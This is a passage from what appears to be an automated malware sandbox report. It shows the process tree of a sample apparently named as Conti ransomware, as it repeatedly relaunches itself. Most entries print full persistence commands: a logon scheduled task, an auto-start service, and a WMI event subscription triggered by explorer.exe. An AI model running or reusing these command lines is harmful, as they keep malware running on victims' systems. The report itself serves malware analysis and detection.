      C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      PID:1912
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:3088
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:10852
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:6556
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2840
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:12056
      - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        6⤵
        Launches sc.exe
        
        PID:11732
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:12744
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12648
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:13368
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:13540
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:14744
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:19148
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:12628
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:7020
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:8440
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:15628
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:7572
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:13116
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:7244
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:7300
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7940
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      PID:7868
    - - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        Launches sc.exe
        
        PID:7420
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      PID:7536
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8568
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:12464
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:13224
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:6456
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:19220
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:19440
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:9360
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:9448
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:8780
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      PID:9760
    - - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:9976
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      PID:10616
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1200
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:2440
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:10840
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:7020
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      PID:11276
    - - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:13080
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      PID:13304
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:13916
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:13040
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:13232
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:13964
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      PID:11972
    - - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        Launches sc.exe
        
        PID:6908
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      PID:8684
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:20432
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:14664
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:14960
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:11664
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:17232
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:12812
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:12044
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:10028
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:10492
- C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
  2⤵
  - Drops startup file
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:5828
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2980
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:4204
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2252
  - - C:\Windows\system32\sc.exe
      sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      Launches sc.exe
      PID:5224
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1236
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1400
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:2072
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:4988
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:3596
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      PID:1120
    - - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        Launches sc.exe
        
        PID:4052
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      PID:3680
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5464
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:6460
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:6484
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6868
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:7136
      - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        6⤵
        Launches sc.exe
        
        PID:6456
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:6904
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
